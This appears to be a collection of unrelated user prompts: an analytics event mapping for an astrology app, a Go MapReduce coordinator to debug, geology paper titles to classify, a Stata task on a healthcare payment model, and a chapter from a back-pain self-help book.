eventtype: EVENT\\_TYPES.SCREEN\\_OPENING,\n scrname: SCREEN\\_NAMES.PROFILE,\n };\n case 'field\\_edited\\_astrozodiac':\n return {\n description: 'User edits the field in the profile screen',\n eventtype: EVENT\\_TYPES.USER\\_ACTION,\n scrname: SCREEN\\_NAMES.PROFILE,\n };\n case 'click\\_logout\\_astrozodiac':\n return {\n description: 'User clicks on logout',\n eventtype: EVENT\\_TYPES.USER\\_ACTION,\n scrname: SCREEN\\_NAMES.PROFILE,\n };\n case 'wallet\\_astrozodiac':\n return {\n description: 'User opens the wallet screen',\n eventtype: EVENT\\_TYPES.SCREEN\\_OPENING,\n scrname: SCREEN\\_NAMES.WALLET,\n };\n case 'click\\_wallet\\_astrozodiac':\n return {\n description: 'User clicks on wallet icon',\n eventtype: EVENT\\_TYPES.USER\\_ACTION,\n scrname: SCREEN\\_NAMES.WALLET,\n };\n case '\\_payment\\_success':\n return {\n description: 'User successfully completes payment for teh wallet recharge',\n eventtype: EVENT\\_TYPES.USER\\_ACTION,\n scrname: SCREEN\\_NAMES.WALLET,\n };\n case 'payment\\_failure':\n return {\n description: 'User opens payment failed screen for the wallet recharge',\n eventtype: EVENT\\_TYPES.SCREEN\\_OPENING,\n scrname: SCREEN\\_NAMES.WALLET,\n };\n case 'astrologer\\_call\\_intake\\_form\\_astrozodiac':\n return {\n description: 'User lands on the Call Intake form screen',\n eventtype: EVENT\\_TYPES.SCREEN\\_OPENING,\n scrname: SCREEN\\_NAMES.CALL\\_INTAKE\\_FORM,\n };\n case 'click\\_start\\_astrologer\\_call\\_astrozodiac':\n return {\n description: 'User clicks on Start Call CTA on Call intake form screen',\n eventtype: EVENT\\_TYPES.USER\\_ACTION,\n scrname: SCREEN\\_NAMES.CALL\\_INTAKE\\_FORM,\n };\n case 'select\\_wallet\\_amount\\_astrozodiac':\n return {\n description: 'User selects an amount to be recharged in a category wallet',\n eventtype: EVENT\\_TYPES.USER\\_ACTION,\n scrname: SCREEN\\_NAMES.WALLET,\n };\n case 'click\\_recharge\\_wallet\\_astrozodiac':\n return {\n description: 'User clicks on recharge wallet for a category',\n eventtype: EVENT\\_TYPES.USER\\_ACTION,\n scrname: SCREEN\\_NAMES.WALLET,\n };\n case 'click\\_back\\_to\\_home\\_retry\\_astrozodiac':\n return {\n description: 'User clicks on back to home from category payment failure screen',\n eventtype: EVENT\\_TYPES.USER\\_ACTION,\n scrname: SCREEN\\_NAMES.WALLET,\n };\n case 'click\\_retry\\_payment\\_astrozodiac':\n return {\n description: 'User clicks to retry payment from category payment failure screen',\n eventtype: EVENT\\_TYPES.USER\\_ACTION,\n scrname: SCREEN\\_NAMES.WALLET,\n };\n case 'click\\_call\\_astrologer\\_now\\_astrozodiac':\n return {\n description: 'User clicks to initiate a call with an astrologer',\n eventtype: EVENT\\_TYPES.USER\\_ACTION,\n scrname: SCREEN\\_NAMES.CALL\\_INTAKE\\_FORM,\n };\n case 'service\\_providers\\_details\\_astrozodiac':\n return {\n description: 'User opens a category service provider screen',\n eventtype: EVENT\\_TYPES.SCREEN\\_OPENING,\n };\n case 'click\\_know\\_about\\_service\\_providers\\_astrozodiac':\n return {\n description: 'User clicks to know more about a category service provider',\n eventtype: EVENT\\_TYPES.USER\\_ACTION,\n };\n case 'history\\_astrozodiac':\n return {\n description: 'User opens the History screen of Astro Zodiac app',\n eventtype: EVENT\\_TYPES.SCREEN\\_OPENING,\n scrname: SCREEN\\_NAMES.HISTORY,\n };\n case 'call\\_astrozodiac':\n return {\n description: 'User opens the Call screen of Astro Zodiac app',\n eventtype: EVENT\\_TYPES.SCREEN\\_OPENING,\n scrname: SCREEN\\_NAMES.CALL,\n };\n case 'click\\_contact\\_us\\_astrozodiac':\n return {\n description: 'User clicks on Contact Us for a category',\n eventtype: EVENT\\_TYPES.USER\\_ACTION,\n };" -'fix all bugs : package mr\n\nimport (\n "fmt"\n "log"\n "net"\n "net/http"\n "net/rpc"\n "os"\n "sync"\n "time"\n)\n\ntype TaskStatus int\n\nconst (\n NotStarted TaskStatus = iota\n InProgress\n Completed\n)\n\ntype Coordinator struct {\n NReduce int // Number of reduce tasks to be performed\n InputFiles []string // A list of input files to be processed\n MapTaskSt map[string]TaskStatus // A map of map task numbers to their current status\n ReduceTaskSt map[int]TaskStatus // A map of reduce task numbers to their current status\n Workers map[string]WorkerStatus // A map of worker IDs to their current status\n IntermediateFiles [][]string // 2D Slice that containst the intermediate file names produced by map tasks, each row represents a different reduce task\n MapIndex int // Next map task to be assigned\n ReduceIndex int // Next reduce task to be assigned\n MapFinished bool // True when all map tasks are completed\n ReduceFinished bool // True when all reduce tasks are completed\n Finish bool // True when all map and reduce tasks are completed\n WriterLock \\*sync.RWMutex // Lock for controlling shared variables\n MapTasks chan MapTask // Channel for uncompleted map tasks\n ReduceTasks chan int // Channel for uncompleted reduce tasks\n}\n\n// Starting Coordinator Logic\nfunc (c \\*Coordinator) Start() {\n fmt.Println("Starting Coordinator, adding Map Tasks to channel")\n //Prepare initial MapTasks and add them to the queue\n for index, file := range c.InputFiles {\n c.MapTaskSt[file] = NotStarted\n mapTask := MapTask{\n FileName: file,\n NReduce: c.NReduce,\n Index: index,\n }\n c.MapTasks <- mapTask\n fmt.Println("MapTask", mapTask, "added to channel")\n }\n c.server()\n}\n\nfunc (c \\*Coordinator) getNextMapTask() (string, TaskStatus) {\n for file, status := range c.MapTaskSt {\n if status == NotStarted {\n return file, status\n }\n }\n return "", Completed\n}\n\n// Your code here -- RPC handlers for the worker to call.\n// an example RPC handler.\n// the RPC argument and reply types are defined in rpc.go.\nfunc (c \\*Coordinator) AssignMapTask(args \\*EmptyArgs, reply \\*MapTaskReply) error {\n fmt.Println("Map Task Requested")\n c.WriterLock.Lock()\n defer c.WriterLock.Unlock()\n\n if !c.MapFinished {\n // Find an Uncompleted Map Task\n file, status := c.getNextMapTask()\n if status == NotStarted {\n task := <-c.MapTasks\n fmt.Println("Map task found", file)\n c.MapTaskSt[file] = InProgress\n reply.Filename = file\n reply.NReduce = c.NReduce\n reply.Index = c.MapIndex\n c.MapIndex++\n go c.WaitForMapWorker(task)\n return nil\n }\n }\n // No more map Tasks to Assign\n reply.Filename = ""\n reply.NReduce = c.NReduce\n reply.Index = -1\n return nil\n}\n\nfunc (c \\*Coordinator) getNextReduceTask() (int, TaskStatus) {\n for int, status := range c.ReduceTaskSt {\n if status == NotStarted {\n return int, status\n }\n }\n return -1, Completed\n}\nfunc (c \\*Coordinator) AssignReduceTask(args \\*EmptyArgs, reply \\*ReduceTaskReply) error {\n fmt.Println("Reduce Task Requested")\n c.WriterLock.Lock()\n defer c.WriterLock.Unlock()\n\n if !c.ReduceFinished {\n // Find the next uncompleted Reduce Task\n i, status := c.getNextReduceTask()\n if status == NotStarted {\n NumReduce := <-c.ReduceTasks\n reply.IntermediateFiles = c.IntermediateFiles[NumReduce]\n fmt.Println("NumReduce:", NumReduce, "Files:", c.IntermediateFiles[NumReduce])\n reply.Index = i\n c.ReduceTaskSt[NumReduce] = InProgress\n go c.WaitForReduceWorker(NumReduce)\n return nil\n }\n }\n // No more reduce tasks to assign\n fmt.Println("No more reduce")\n reply.IntermediateFiles = []string{}\n reply.Index = -1\n return nil\n}\n\n// Goroutine will wait 10 seconds and check if map task is completed or not\nfunc (c \\*Coordinator) WaitForMapWorker(task MapTask) {\n time.Sleep(time.Second \\* 10)\n c.WriterLock.Lock()\n if c.MapTaskSt[task.FileName] == NotStarted {\n fmt.Println("Timer expired, task", task.FileName, "is not finished. Putting back in queue")\n c.MapTasks <- task\n } else {\n if c.MapTaskSt[task.FileName] == Completed {\n c.WriterLock.Unlock()\n return\n }\n }\n c.WriterLock.Unlock()\n}\n\n// Goroutine will wait 10 seconds and check if reduce task is completed or not\nfunc (c \\*Coordinator) WaitForReduceWorker(NumReduce int) {\n time.Sleep(time.Second \\* 10)\n c.WriterLock.Lock()\n if c.ReduceTaskSt[NumReduce] == NotStarted {\n fmt.Println("Timer expired, reduce task number", NumReduce, "is not finished. Putting back in queue")\n c.ReduceTasks <- NumReduce\n } else {\n if c.ReduceTaskSt[NumReduce] == Completed {\n c.WriterLock.Unlock()\n return\n }\n }\n c.WriterLock.Unlock()\n}\n\nfunc (c \\*Coordinator) MapTaskCompleted(args \\*MapTaskReply, reply \\*EmptyReply) error {\n c.WriterLock.Lock()\n defer c.WriterLock.Unlock()\n\n c.MapTaskSt[args.Filename] = Completed\n\n for \\_, status := range c.MapTaskSt {\n if status != Completed {\n return nil\n }\n }\n\n c.MapFinished = true\n if c.MapFinished {\n for x := 0; x < c.NReduce; x++ {\n c.ReduceTasks <- x\n c.ReduceTaskSt[x] = NotStarted\n }\n }\n\n // fmt.Println("Task", args, "completed")\n return nil\n}\n\nfunc (c \\*Coordinator) ReduceTaskCompleted(args \\*ReduceTaskCompleted, reply \\*EmptyReply) error {\n c.WriterLock.Lock()\n defer c.WriterLock.Unlock()\n\n if \\_, ok := c.ReduceTaskSt[args.Index]; ok {\n c.ReduceTaskSt[args.Index] = Completed\n\n Finished := true\n for \\_, status := range c.ReduceTaskSt {\n if status != Completed {\n return nil\n }\n }\n if Finished {\n c.ReduceFinished = true\n }\n } else {\n log.Printf("Invalid reduce task index: %d", args.Index)\n }\n return nil\n}\n\nfunc (c \\*Coordinator) IntermediateFilesCompleted(args \\*IntermediateFilesArgs, reply \\*EmptyReply) error {\n c.WriterLock.Lock()\n defer c.WriterLock.Unlock()\n\n c.IntermediateFiles[args.Index] = append(c.IntermediateFiles[args.Index], args.Filename)\n return nil\n}\n\n// start a thread that listens for RPCs from worker.go\nfunc (c \\*Coordinator) server() {\n rpc.Register(c)\n rpc.HandleHTTP()\n //l, e := net.Listen("tcp", ":1234")\n sockname := coordinatorSock()\n os.Remove(sockname)\n l, e := net.Listen("unix", sockname)\n if e != nil {\n log.Fatal("listen error:", e)\n }\n go http.Serve(l, nil)\n}\n\n// main/mrcoordinator.go calls Done() periodically to find out\n// if the entire job has finished.\nfunc (c \\*Coordinator) Done() bool {\n // Acquire writer lock to protect shared data\n c.WriterLock.Lock()\n defer c.WriterLock.Unlock()\n\n // Have all Map and Reduce Tasks been completed\n c.Finish = c.MapFinished && c.ReduceFinished\n return c.Finish\n\n}\n\n// create a Coordinator.\n// main/mrcoordinator.go calls this function.\n// nReduce is the number of reduce tasks to use.\nfunc MakeCoordinator(files []string, NReduce int) \\*Coordinator {\n c := Coordinator{\n MapTaskSt: make(map[string]TaskStatus),\n ReduceTaskSt: make(map[int]TaskStatus),\n MapFinished: false,\n ReduceFinished: false,\n Finish: false,\n WriterLock: &sync.RWMutex{},\n Workers: make(map[string]WorkerStatus),\n NReduce: NReduce,\n InputFiles: files,\n IntermediateFiles: make([][]string, NReduce),\n MapIndex: 0,\n ReduceIndex: 0,\n MapTasks: make(chan MapTask, len(files)),\n ReduceTasks: make(chan int, NReduce),\n }\n\n fmt.Println("Calling Start()")\n c.Start() // Calls Start Function\n\n return &c\n}' -"Large Igneous Provinces\nCretaceous tectonic evolution of South China: A preliminary synthesis\nLithospheric Architecture of the Lhasa Terrane and Its Control on Ore Deposits in the Himalayan-Tibetan Orogen\nMulti-stage crustal growth and cratonization of the North China Craton\nReactivation of the Archean lower crust: Implications for zircon geochronology, elemental and Sr–Nd–Hf isotopic geochemistry of late Mesozoic granitoids from northwestern Jiaodong Terrane, the North China Craton\nContinental collision zones are primary sites for net continental crust growth — A testable hypothesis\nUltrapotassic Mafic Rocks as Geochemical Proxies for Post-collisional Dynamics of Orogenic Lithospheric Mantle: the Case of Southwestern Anatolia, Turkey\nThe evolving nature of terrestrial crust from the Hadean, through the Archaean, into the Proterozoic\nHydrous melting of the martian mantle produced both depleted and enriched shergottites\nFluid and mass transfer at subduction interfaces—The field metamorphic record\nPaleoproterozoic arc magmatism in the North China Craton: No Siderian global plate tectonic shutdown\nThe Grenvillian orogeny in the Altun–Qilian–North Qaidam mountain belts of northern Tibet Plateau: Constraints from geochemical and zircon U–Pb age and Hf isotopic study of magmatic rocks\nPetrogenesis and tectonic significance of Paleoproterozoic meta-mafic rocks from central Liaodong Peninsula, northeast China: Evidence from zircon U–Pb dating and in situ Lu–Hf isotopes, and whole-rock geochemistry\nGeochronology and geochemistry of the Paleoproterozoic meta-basalts from the Jiao-Liao-Ji Belt, North China Craton: Implications for petrogenesis and tectonic setting\nDiscovery of Neoarchean suprasubduction zone ophiolite suite from Yishui Complex in the North China Craton\nEarly Permian A-type granites from central Inner Mongolia, North China: Magmatic tracer of post-collisional tectonics and oceanic crustal recycling\nMagmatic evolution of the Tuwu–Yandong porphyry Cu belt, NW China: Constraints from geochronology, geochemistry and Sr–Nd–Hf isotopes\nPetrological insights into the storage conditions, and magmatic processes that yielded the centennial 2010 Merapi explosive eruption\nTowards a new model for kimberlite petrogenesis: Evidence from unaltered kimberlites and mantle minerals\nGeochronology, geochemistry and tectonic significance of two Early Cretaceous A-type granites in the Gan-Hang Belt, Southeast China\nAn integrated mineral system model for the gold deposits of the giant Jiaodong province, eastern China\nPartial melting of metabasic rocks and the generation of tonalitic–trondhjemitic–granodioritic (TTG) crust in the Archaean: Constraints from phase equilibrium modelling\nPaleoproterozoic crustal growth in the North China Craton: Evidence from the Lüliang Complex\nArchean komatiite volcanism controlled by the evolution of early continents\nExperimental petrology of peridotites, including effects of water and carbon on melting in the Earth’s upper mantle\nOrigin of arc-like continental basalts: Implications for deep-Earth fluid cycling and tectonic discrimination\nRecycling of metal-fertilized lower continental crust: Origin of non-arc Au-rich porphyry deposits at cratonic edges\nThe Neoproterozoic granitoids from the Qilian block, NW China: Evidence for a link between the Qilian and South China blocks\nPost-kinematic lithospheric delamination of the Wuyi–Yunkai orogen in South China: Evidence from ca. 435Ma high-Mg basalts\nEmplacement ages, geochemical and Sr–Nd–Hf isotopic characterization of Mesozoic to early Cenozoic granitoids of the Sikhote-Alin Orogenic Belt, Russian Far East: Crustal growth and regional tectonic evolution\nIn situ zircon Hf–O isotopic analyses of late Mesozoic magmatic rocks in the Lower Yangtze River Belt, central eastern China: Implications for petrogenesis and geodynamic evolution\nLate Paleozoic subduction system in the northern margin of the Alxa block, Altaids: Geochronological and geochemical evidences from ophiolites\nTwo-phase subduction and subsequent collision defines the Paleotethyan tectonics of the southeastern Tibetan Plateau: Evidence from zircon U-Pb dating, geochemistry, and structural geology of the Sanjiang orogenic belt, southwest China\nGeochemistry, zircon UPb geochronology and LuHf isotopic composition of eclogites and their host gneisses in the Dulan area, North Qaidam UHP terrane: New evidence for deep continental subduction\nMid-Triassic felsic igneous rocks from the southern Lancangjiang Zone, SW China: Petrogenesis and implications for the evolution of Paleo-Tethys\nWidespread refertilization of cratonic and circum-cratonic lithospheric mantle\nA New Model for Barberton Komatiites: Deep Critical Melting with High Melt Retention\nBuilding of the Deep Gangdese Arc, South Tibet: Paleocene Plutonism and Granulite-Facies Metamorphism\nLate Ordovician to early Devonian adakites and Nb-enriched basalts in the Liuyuan area, Beishan, NW China: Implications for early Paleozoic slab-melting and crustal growth in the southern Altaids\nEocene–Oligocene post-collisional magmatism in the Lut–Sistan region, eastern Iran: Magma genesis and tectonic implications\nThe major and trace element glass compositions of the productive Mediterranean volcanic sources: tools for correlating distal tephra layers in and around Europe\nA Neoarchean dismembered ophiolite complex from southern India: Geochemical and geochronological constraints on its suprasubduction origin\nSpatial extent of the influence of the deeply subducted South China Block on the southeastern North China Block: Constraints from Sr–Nd–Pb isotopes in Mesozoic mafic igneous rocks\nHotspot volcanism and highly siderophile elements\nInsights into magma and fluid transfer at Mount Etna by a multiparametric approach: A model of the events leading to the 2011 eruptive cycle\nZircon U–Pb ages and geochemistry of the Huai’an TTG gneisses terrane: Petrogenesis and implications for ∼2.5Ga crustal growth in the North China Craton\nLate Neoarchean subduction-related crustal growth in the Northern Liaoning region of the North China Craton: Evidence from ∼2.55 to 2.50Ga granitoid gneisses\nThe Anatomy of an Andesite Volcano: a Time–Stratigraphic Study of Andesite Petrogenesis and Crustal Evolution at Ruapehu Volcano, New Zealand\nPetrogenesis of Cretaceous adakite-like intrusions of the Gangdese Plutonic Belt, southern Tibet: Implications for mid-ocean ridge subduction and crustal growth\nWhat can we learn from melt inclusions in migmatites and granulites?\nCarboniferous mantle-derived felsic intrusion in the Chinese Altai, NW China: Implications for geodynamic change of the accretionary orogenic belt\nGeochronological and geochemical constraints on the petrogenesis of Middle Paleozoic (Kwangsian) massive granites in the eastern South China Block\nApplication of Ti-in-zircon thermometry to granite studies: problems and possible solutions\nGeneration and evolution of Palaeoarchaean continental crust in the central part of the Singhbhum craton, eastern India\nGeochronology and geochemistry of Early Jurassic volcanic rocks in the Erguna Massif, northeast China: Petrogenesis and implications for the tectonic evolution of the Mongol–Okhotsk suture belt\nRemnants of Eoarchean continental crust derived from a subducted proto-arc\nThe Role of Late Sulfide Saturation in the Formation of a Cu- and Au-rich Magma: Insights from the Platinum Group Element Geochemistry of Niuatahi–Motutahi Lavas, Tonga Rear Arc\nZircon U–Pb–Hf isotopes and geochemistry of Neoarchean dioritic–trondhjemitic gneisses, Eastern Hebei, North China Craton: Constraints on petrogenesis and tectonic implications\nIsland arc-type bimodal magmatism in the eastern Tianshan Belt, Northwest China: Geochemistry, zircon U–Pb geochronology and implications for the Paleozoic crustal evolution in Central Asia\nAppinite suites: A record of the role of water in the genesis, transport, emplacement and crystallization of magma\nGeochronology and geochemistry of Early Cretaceous volcanic rocks from the Baiyingaolao Formation in the central Great Xing'an Range, NE China, and its tectonic implications\nLayered Intrusions\nGeological, Petrological and Geochemical Evidence for Progressive Construction of an Arc Crustal Section, Sierra de Valle Fértil, Famatinian Arc, Argentina\n3D numerical modeling of mantle flow, crustal dynamics and magma genesis associated with slab roll-back and tearing: The eastern Mediterranean case\nOldest rocks from Peninsular India: Evidence for Hadean to Neoarchean crustal evolution\n给以上论文按内容相关性分类" -'Below is the payment determinzation algotrhism for an healthcare alternative payment model. I need you to write Stata code to create a dataset with simulated ACR, UAMCC, and DAH measure scores. the ACR measure has 1010 observations, following a normal distribution ranging from 14 to 17; the UAMCC measure has 1005 observations, following a uniform distribution ranging from 45 to 85; the DAH measure has 1000 observations, ranging from 250 to 350 following a normal distribution. The variable that captures unique healthcare org ID is DCE\\_ID. Please make sure none of the DCE has all the three measure scores missing. Then create a Stata code to apply to this simulated dataset, to compute the Final Earn-Back Rate for every DCE. If a DCE has missing scores for all relevant quality measures, give them a P4P score=missing. Please use the benchmark information in "Table 2-6. Hypothetical Benchmark Distributions for ACR and UAMCC for Comparison with Standard and New Entrant DCE Measure Scores"\n -------1.1 Application of Quality Assessment to Final Financial Reconciliation\nThe process of determining the impact of quality measurement and performance on the PY Benchmark is summarized in this section using PY2022 as an example. The steps are as follows:\n\n• CMS develops Quality Benchmarks for each P4P measure.\n• Component Quality Scores are calculated: P4R Quality Measures are assessed, and P4P Quality Measures are compared against their Quality Benchmarks to determine performance levels.\n• Component Quality Scores are weighted to calculate the Total Quality Score.\n• (PY2023–PY2026 only) CI/SEP criteria are assessed to determine the amount of the Quality Withhold to which the Total Quality Score will be applied.\n• (PY2023–PY2026 only) HPP funds are distributed.\n\n1.1.1 Step 1. CMS Develops Quality Benchmarks for Each P4P Measure\nIn PY2022, ACR and UAMCC will have P4P components. These measures assess the occurrence of undesirable outcomes—thus, lower measure scores represent better performance. Performance levels for each DCE are determined by comparing their Quality Measure scores with the relevant Quality Benchmark. The DCE earns a performance level for each measure based on where the measure score falls in comparison to the benchmark threshold values.\n\nTable 2-6 presents hypothetical Quality Benchmark distributions for Standard/New Entrant DCEs (using historical Medicare claims data) for both P4P measures. For example, a DCE with a measure score or risk-standardized readmission rate (RSRR) of 15.10% for ACR would be in the 50th percentile group for that measure (the score exceeds the threshold for the 60th percentile group but is less than the maximum threshold for the 50th percentile group). A DCE with a measure score or RSRR of 15.60% for ACR would be in the 20th percentile group for that measure (the score exceeds the threshold for the\n25th percentile group but is less than the maximum threshold for the 20th percentile group). A DCE with a measure score of 74.89 admissions per 100 person-years for UAMCC would be in the 10th percentile group (the score exceeds the threshold for the 15th percentile group but is less than the maximum threshold for the 10th percentile group).\n\nTable 2-6. Hypothetical Benchmark Distributions for ACR and UAMCC for Comparison with Standard and New Entrant DCE Measure Scores\n\nPercentile 5 10 15 20 25 30 40 50 60 70 80 90\nACR 16.34 15.99 15.79 15.68 15.57 15.47 15.31 15.18 15.08 14.95 14.82 14.6\nUAMCC 82.5 75.23 71.08 68.43 66.67 64.68 61.2 58.48 55.98 53.37 50.16 46.12\n\nPlease note that Table 2-6 presents an example only. These are not the final Quality Benchmarks and are not intended to provide an indication of the final Quality Benchmarks. Historically, Quality Benchmarks for other models have been released prior to the start of a given PY. However, observed and anticipated changes in utilization and outcomes resulting from coronavirus disease 2019 have made it inappropriate to use data from 2020 for Quality Benchmarking. Given the likelihood of ongoing impacts on current and future PYs, CMMI is taking a different approach for GPDC quality benchmarking.\n \n\nFor PY2021, GPDC Quality Benchmarks will not be released until June 2022 and will be based on a hybrid approach, combining historical and concurrent data from two discontinuous 12-month periods, the calendar years 2019 and 2021. A DCE’s Final Earn-Back Rate for PY2021 will be determined during final reconciliation, which will occur in 2023.\n\nFor PY2022, GPDC Quality Benchmarks will shift to being based only on data from the 12-month period concurrent with the performance year. Starting with the first quarterly quality report for PY2022, CMMI will provide provisional quality benchmarks to DCEs in their quarterly reports, which will be calculated based on data from the same reporting period (i.e., April 1, 2021-March 31, 2022 for PY2022 Q1). The provisional benchmarks will be updated in each subsequent quarterly report with data from the same period being used to calculate DCE’s performance. Because the DCE performance and benchmarks will be based on the same time-period and have the same exact risk adjustment coefficients, DCEs will have a more accurate picture from quarter to quarter of their performance relative to the benchmark. A DCE’s Final Earn-Back Rate for PY2022 will be based on quality benchmarks calculated using data from calendar year 2022 and will be determined during final reconciliation, which will occur in 2023. As with the hybrid approach for PY2021, the use of concurrent benchmarks for PY2022 will avoid potential coronavirus disease 2019 impacts.\n\n1.1.2 Step 2. Component Quality Scores Are Calculated: P4R Quality Measures Are Assessed, and P4P Quality Measures Are Compared against Their Quality Benchmarks to Determine Performance Levels\nP4R Component: For PY2022, 4% of the 5% Quality Withhold is associated with P4R. The claims-based measures of ACR, UAMCC, and DAH (for High Needs Population DCEs only) comprise 2% of the Quality Withhold, and the CAHPS Measure comprises 2%. There are therefore two Component Quality Scores associated with P4R, one for the claims-based measures, and one for CAHPS.\n• All DCEs will meet the requirement for the claims-based measures and automatically earn a Component Quality Score of 100% for the portion of the withhold tied to the P4R claims-based measures in Table 2-3.\n• All DCEs that authorize a survey vendor to conduct the CAHPS Survey will receive a P4R Component Quality Score for CAHPS of 100%. DCEs that do not authorize a survey vendor to conduct the CAHPS Survey will receive a P4R Component Quality Score for CAHPS of 0%. DCEs that are exempt from CAHPS will have a single P4R Component Quality Score of 100%.\nP4P Component: The PY2022 P4P component will be the same as PY2021, which combines the ACR and UAMCC measures. The highest performance level (i.e., percentile) achieved for either Quality Measure determines the P4P Component Quality Score. Furthermore, the P4P component is considered pass/fail—all DCEs with at least one measure at or exceeding the 30th percentile will pass and receive a 100% Component Quality Score.\n\nAs in PY2021, in PY2022, a sliding scale approach will be applied to DCEs that do not meet the 30th percentile threshold on at least one of the two measures. The sliding scale allows DCEs to earn back at\n \n\nleast a portion of the 1% withhold, based on their highest measure performance. The details of the sliding scales are presented in Table 2-7. In the example in Step 1 above, where a DCE achieved the 20th percentile for ACR and the 10th percentile for UAMCC, the DCE would receive a P4P Component Quality Score of 80%.\n\nTable 2-7. Sliding Scale Earn-Back for P4P Component Quality Score, PY2021 and PY2022\n\nPercentile Met P4P Component Quality Score\n≥ 30th 100%\n25th to < 30th 95%\n20th to < 25th 80%\n15th to < 20th 60%\n10th to < 15th 40%\n5th to < 10th 20%\n< 5th 0%\n1.1.3 Step 3. Component Quality Scores Are Weighted to Calculate the Total Quality Score\nAfter assessing P4R measures and determining performance levels for each P4P measure, CMS calculates Component Quality Scores for each DCE. The component weight is the proportion of the overall Quality Withhold tied to that component. In PY2022, there are three Component Quality Scores. The first component is P4P, based on ACR and UAMCC. The P4P component has a weight of 1/5, contributing 1% out of the 5% Quality Withhold. The second component is P4R for claims-based measures and has a weight of 2/5, contributing 2% out of the 5% Quality Withhold. The third component is P4R for CAHPS and has a weight of 2/5, contributing 2% out of the 5% Quality Withhold. Note that additional P4P components (such as DAH) will be added in subsequent years.\n\nThe Total Quality Score is the percentage of the Quality Withhold eligible for earn-back that a DCE will actually earn back based on its quality performance and reporting. The Total Quality Score is calculated as the sum of the products of the Component Quality Scores and component weights, as shown in the equation below.\n\nTotal Quality Score = ∑ (Component Quality Scores \\* Component Weights)\n\nIn our example above, the DCE receives a P4P Component Quality Score of 80% based on the sliding scale. The same DCE receives a P4R Component Quality Score for claims-based measures of 100%. This DCE also authorized a CAHPS Survey vendor, earning 100% of the P4R Component Quality Score for CAHPS. The P4P component has a weight of 1/5 and the P4R components each have a weight of 2/5. The Total Quality Score for this DCE is (80% \\* 1/5) + (100% \\* 2/5) + (100% \\* 2/5) = 96%.\n\n1.1.4 Step 4. Total Quality Score Is Multiplied by the Eligible Earn-Back Rate to Determine a DCE’s\nFinal Earn-Back Rate\nIn PY2022, the Eligible Earn-Back Rate will be 5% for all DCEs. A DCE with a Total Quality Score of 96% will have a Final Earn-Back Rate of 4.8%. A DCE’s Final Earn-Back Rate will be determined during final reconciliation, which will occur in 2023 for PY2022. The steps for the example described in this section, starting with Section 2.5, are summarized in Table 3-1.' -'this is chapter 20 of original book\n{CHAPTER TWENTY\n The Sacrum and Coccyx\n From Chris and Jeremy\nFrom Chris\nThe sacrum is the last section of the spine, the vestigial collection of vertebrae that are welded into one solid piece, down at the bottom. And the coccyx is the tippety-tip of the sacrum, the last bit of bone at the end of that long chain, which has been such a torment to you for so long. \nAnd this is the end of the book. The end of the long chain of chapters that we hope—with all our hearts—will deliver you from such torment forever. From now on, it’s up to you. Go back through the book, do the exercises, and change your behavior the way you know you should. Up to you now. \nMay I say, here at the end, that putting this book together has been great fun for Jeremy and me. It has taken more than a year, and it has been a ton of work. We hope it reads as if it were easy as pie, but it wasn’t. We worked like crazy to make it seem easy—and to make it truly accurate without driving you crazy. Don’t know how well we did on that, but we sure did try. And it was fun for a couple of reasons. First, from my point of view, Jeremy is awfully good company. He is deadly serious about his profession but he loves to laugh, too. And, God bless us, we think we’re funny. That helped a lot. On a slightly more serious note, learning all the stuff I had to learn about the back this past year was fascinating and a privilege. Interesting piece of machinery, the back, and Jeremy could not have been a better guide. \nFinally, both of us are true believers in this “revolution” I mentioned up front, and that is a tremendous help. The whole time we were digging away at this boring detail or that, we had the agreeable conviction that we were not just ink-stained wretches, noses to the page. We were centurions in the great war against cruel, needless pain. That helped a lot, too. \nBut the whole business won’t be satisfying to us if it doesn’t work, for you. And that takes me back to my one great worry, the one I mentioned before. \nI worry that we leave so much of this up to you, when we know that Americans just aren’t used to that. Americans are used to going to the magician/doctor. He has a look around, maybe does an MRI. And then hands us a prescription, or gives us a shot. Or sends us to his pal the back surgeon, who does some clever thing to make us all better. As we’ve said again and again, that’s not going to work here. You have to do it yourself—you have to do the exercise, make the changes. But the great question is, will you find the resolve to make it happen? Jeremy says he’s sure you will, because he knows your pain. He knows just how deep and sharp your motivation is. I hope he’s right. \nWhat we are urging is not really that hard; it is mostly just unfamiliar. And you surely have the resources and motivation to make it happen. I know you’re smart enough; you just read this darned book, after all. I know you are disciplined enough; you’ve been going to work all these years. And I know you care, because I know about your pain. Now just take those three things and reorient them a little. And save your life. Then spread the word and save your family, save the country. Get the ogre out of all our lives. It can and should be done. \nFrom Jeremy\nI can’t agree more with Chris’s words. He and I had such a great time writing this book, and we are both deeply optimistic about what it can do for you. As you well know by now, I am not the “word guy”; that’s Chris. So I will be uncharacteristically brief and just say I have seen this protocol work a thousand times in my practice. Now I want to see it work a million times, perhaps more than that, with this book. As we mentioned at the beginning, we want a revolution in back care in this country. Starting with you. We want to take this scourge out of all our lives. \nJEREMY’S RULES\n1\nStop doing dumb stuff.\n2\nBe still so you can heal.\n3\nBrace yourself.\n4\nCommit to your core.\n5\nUse the power in your posterior.\n6\nCrawl before you walk. Walk before you run.\n7\nStand tall for the long haul.\nAPPENDIX\nThe “Cheat Sheet”\nWe threw a lot at you in this book. In time, it will seem like second nature. When you get to that point, it may still be useful to have a simple guide to remind you where you are, what to do next, and so on. To that end, I give you this “cheat sheet” to summarize all the exercises we have told you to do and to tell you when to do them. Here is your daily and weekly plan.\nI strongly encourage you to read this book a few times a year. Trust me, you are trying to change lifelong habits and it’s very easy to default back to the old ways. Come back to the book and think through each exercise every so often. Avoid the trap of falling into those same bad habits that got you here in the first place. The book is the key to taking your life back and leaving the anxiety, stress, and pain of back problems in the past. In between readings of the book, there’s this Exercise Cheat Sheet. \nBasic Core Exercises\nThese exercises (see Chapter 10) should be done every day, and are best done in the morning after being out of bed for thirty minutes or so. Remember to do progressions or regressions as needed for each. Move on to the next progression of a particular exercise when and if you feel ready. Start with one circuit and work your way up to two full circuits in time, and make that your daily habit. In time, this will take you ten to fifteen minutes.\n1. Slow March with Neutral Spine with Shoulder Flexion\n2. The Bridge \n3. Crunch and Plank\n4. Dynamic Hamstring Stretch\n5. Side Plank\n6. Cat/Camel Mobilization\n7. “Bird Dog,” or Opposite Arm/Leg Extension\nGlute Strengthening Routine \nDo these exercises three times a week on nonconsecutive days in addition to your core routine. Start with two sets and work your way up to three in time. This will likely add an additional ten minutes or so on those three days a week that you do these. \n1. Hip Circles Do these first!\n2. Clamshell\n3. Quadruped Hip Extension\n4. Split Squat\n5. Squat\nTrigger Point Release\nDo this as needed. If you got noticeable improvement in back, hip, or leg pain after mastering this, do it prior to your glute workouts until it is no longer 